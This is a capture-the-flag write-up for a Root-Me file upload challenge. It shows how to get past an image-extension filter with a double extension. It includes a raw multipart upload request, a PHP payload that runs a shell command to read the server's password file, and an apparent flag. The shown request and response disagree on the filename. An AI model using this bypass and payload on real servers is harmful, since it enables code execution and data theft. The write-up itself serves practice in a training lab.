

# File upload - Double extensions

Lab: <https://www.root-me.org/en/Challenges/Web-Server/File-upload-Double-extensions>

- In this lab, we will try to upload a php file
- The server require the extension jpg/png/gif in the filename
- Initially, i try to upload a filename payload.php/.jpg to bypass. However, it only returns .jpg

---

## Photo gallery v 0.02

[emotes](#) | [apps](#) | [upload](#) | [devices](#) | [categories](#) | [actions](#)

---

File information :

- Upload: .jpg
- Type: application/x-php
- Size: 0.080078125 kB
- Stored in: [./galerie/upload/d9430668e48d07c1ee3890a460ba1de5/.jpg](#)

File uploaded

- Now, we will try to add double extension in filename

```
POST /web-serveur/ch20/?action=upload HTTP/1.1
Host: challenge01.root-me.org
Content-Length: 280
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
Origin: http://challenge01.root-me.org
Content-Type: multipart/form-data; boundary=----WebKitFormBo
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit
Accept: text/html,application/xhtml+xml,application/xml;q=0.9
```

```
Referer: http://challenge01.root-me.org/web-serveur/ch20/?act
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=d9430668e48d07c1ee3890a460ba1de5; session=
Connection: keep-alive
```

```
-----WebKitFormBoundaryiSE5cS4mLjdqvAA0
Content-Disposition: form-data; name="file"; filename="payload2.php"
Content-Type: application/x-php
```

```
<?php $output = shell_exec('cat ../../../../.passwd'); echo "<h1>";
```

```
-----WebKitFormBoundaryiSE5cS4mLjdqvAA0--
```

## Response

Pretty Raw Hex Render

# Photo gallery v 0.02

| [emotes](#) | [apps](#) | [upload](#) | [devices](#) | [categories](#) | [actions](#)

File information :

- Upload: payload2.php.jpg
- Type: application/x-php
- Size: 0.0810546875 kB
- Stored in: [./galerie/upload/d9430668e48d07c1ee3890a460ba1de5/payload2.php.jpg](#)

File uploaded

- And it works

← → ↻ ⚠ Not secure challenge01.root-me.org/web-serveur/ch20

# Gg9LRz-hWSxqqUKd77-\_q-6G8

